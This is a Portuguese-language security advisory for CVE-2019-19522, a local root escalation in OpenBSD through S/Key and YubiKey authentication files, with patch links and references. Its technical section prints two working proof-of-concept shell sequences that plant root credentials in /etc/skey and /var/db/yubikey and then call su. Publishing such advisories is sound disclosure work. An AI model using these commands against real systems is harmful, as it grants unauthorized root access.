For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00653
Identificador(es)
ASA-2019-00653, CVE-2019-19522
Título
Escalação de privilégios local via S/Key e YubiKey
Fabricante(s)
The OpenBSD Project
Produto(s)
OpenBSD
Versão(ões) afetada(s)
OpenBSD versions 6.6 before errata 009
OpenBSD versions 6.5 before errata 020
Versão(ões) corrigida(s)
OpenBSD version 6.6 errata 009
OpenBSD version 6.5 errata 020
OpenBSD versions 6.6 with the following patch applied:
009_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/009_mesaxlock.patch.sig
OpenBSD versions 6.5 with the following patch applied:
020_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/020_mesaxlock.patch.sig
Prova de Conceito
Sim
Descrição
O OpenBSD, em uma configuração não padrão em que a autenticação S/Key ou YubiKey está ativada, permite que os usuários locais se tornem root, através da participação no grupo auth. Isso ocorre porque o arquivo de root pode ser gravado em /etc/skey ou /var/db/yubikey e não precisa pertencer a root.
Detalhes técnicos
Se o tipo de autenticação S/Key ou YubiKey estiver ativado (ambos são instalados por padrão, mas desativados), um atacante local poderá explorar os privilégios do grupo “auth” para obter todos os privilégios do usuário “root” (porque login_skey e login_yubikey não verificam se os arquivos em /etc/skey e /var/db/yubikey pertencem ao usuário correto, e esses diretórios são graváveis pelo grupo “auth”).
(Nota: para obter os privilégios do grupo “auth”, um atacante local pode primeiro explorar o ASA-2019-00651 / CVE-2019-19520 no xlock.)
Se S/Key estiver ativado (via skeyinit -E), um atacante local com privilégios de “auth” poderá adicionar uma entrada S/Key (uma entrada em /etc/skey) para o usuário “root” (se esse arquivo já existir, o atacante não pode simplesmente removê-lo ou renomeá-lo, porque /etc/skey é persistente; existe uma solução alternativa simples e é deixada como um exercício para o leitor interessado):
------------------------------------------------------------------------------ $ id uid=32767(nobody) gid=11(auth) groups=32767(nobody) $ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root $ chmod 0600 /etc/skey/root $ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN # id uid=0(root) gid=0(wheel) ... ------------------------------------------------------------------------------
Se o YubiKey estiver ativado (via login.conf), um atacante local com privilégios de “auth” poderá adicionar uma entrada do YubiKey (dois arquivos em /var/db/yubikey) para o usuário “root” (se esses arquivos já existirem, o atacante pode simplesmente remover ou renomeá-los, porque /var/db/yubikey não é sticky):
------------------------------------------------------------------------------ $ id uid=32767(nobody) gid=11(auth) groups=32767(nobody) $ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid $ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key $ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul # id uid=0(root) gid=0(wheel) ... ------------------------------------------------------------------------------
Créditos
Qualys Research Team
Referência(s)
OpenBSD 6.6 Errata
https://www.openbsd.org/errata66.html
OpenBSD 6.5 Errata
https://www.openbsd.org/errata65.html
009_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/009_mesaxlock.patch.sig
020_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/020_mesaxlock.patch.sig
Constrain honouring of path-related environment variables based upon
https://github.com/openbsd/xenocara/commit/5886ab525a096cb2504f9e3ce1cd4fd79fb1e414
Full Disclosure: Authentication vulnerabilities in OpenBSD
https://seclists.org/fulldisclosure/2019/Dec/14
oss-security – Authentication vulnerabilities in OpenBSD
https://www.openwall.com/lists/oss-security/2019/12/04/5
Bugtraq: Authentication vulnerabilities in OpenBSD
https://seclists.org/bugtraq/2019/Dec/8
ASA-2019-00651 – OpenBSD: Escalação de privilégios via comando xlock
https://allelesecurity.com.br/asa-2019-00651/
CVE-2019-19520
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19520
CVE-2019-19520
https://nvd.nist.gov/vuln/detail/CVE-2019-19520
CVE-2019-19522
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19522
CVE-2019-19522
https://nvd.nist.gov/vuln/detail/CVE-2019-19522
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 11 fevereiro 2020